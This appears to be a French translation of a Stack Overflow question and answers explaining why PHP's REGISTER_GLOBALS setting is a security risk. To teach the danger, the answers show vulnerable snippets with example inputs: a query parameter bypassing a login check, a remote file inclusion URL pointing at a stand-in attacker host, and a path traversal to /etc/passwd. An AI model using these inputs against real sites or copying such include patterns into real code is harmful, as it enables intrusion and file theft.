Question

Je ne suis pas un développeur PHP, mais j'ai constaté à plusieurs reprises que les gens semblaient le traiter comme une peste ou quelque chose du genre. Pourquoi?

Était-ce utile?

La solution

REGISTER_GLOBALS signifie que toutes les variables transmises via GET ou POST sont disponibles en tant que variables globales dans votre script. Puisque l'accès aux variables non déclarées n'est pas une erreur en PHP (c'est un avertissement), cela peut conduire à de très mauvaises situations. Considérez ceci, par exemple:

<?php
// $debug = true;
if ($debug) {
    echo "query: $query\n";
}

Ce n’est pas une mauvaise chose en soi (un code bien conçu ne doit pas générer d’avertissements, il ne doit donc pas accéder aux variables non déclarées (et ne doit pas besoin REGISTER_GLOBALS pour la même raison)), mais le code PHP est généralement de [très] faible qualité, ce qui conduit à ce genre de failles de sécurité.

Autres conseils

L'activation de REGISTER_GLOBALS expose les pages Web servies par PHP à des vulnérabilités que certains malfaiteurs voudront exploiter.

Lorsque cette option est activée, toute chaîne de requête située à la fin de l'URL:

http://yourdomain/something.php?valid=true 

affectera la valeur d'une variable $ valide (par exemple) dans quelque chose.php, si elle existe .

Si vous utilisez du code PHP disponible publiquement (une bibliothèque par exemple), les noms des variables sont bien connus et il serait possible aux hackers de contrôler leurs valeurs en attribuant des valeurs dans la chaîne de requête. Ils peuvent peut-être contourner l’authentification.

Même si vous n'utilisez pas de code public, il peut être possible de deviner les noms des variables importantes et de contrôler leurs valeurs.

Auparavant, REGISTER_GLOBALS était activé par défaut dans PHP.INI

.

La pratique récente a été de le désactiver par défaut. Activez-le à vos risques et périls!

Juste pour ajouter, voici certaines situations dans lesquelles l’activation de REGISTER_GLOBALS pourrait vous gâcher la journée:

Utilisation de la chaîne de requête pour contourner le contrôle d'accès (à l'aide de http://example.com/ ? notifié = 1 ):

<?php
$logged = User::getLogged();
if ($logged)
{
    include '/important/secret.php';
}
?>

Inclusion de fichier à distance:

<?php
    //http://example.com/?path=http://evilbadthings.example.com/
    include "$path"; 
?>

Inclusion de fichier local (LFI):

<?php
    //http://example.com/?path=../../../../etc/passwd
    include "$path"; 
?>

Parce que cela permet à l'utilisateur d'injecter n'importe quelle variable globale dans votre code sans aucun contrôle.

Selon la qualité du code, des bogues de sécurité majeurs risquent d’être introduits.

Licencié sous: CC-BY-SA avec attribution
Non affilié à StackOverflow
scroll top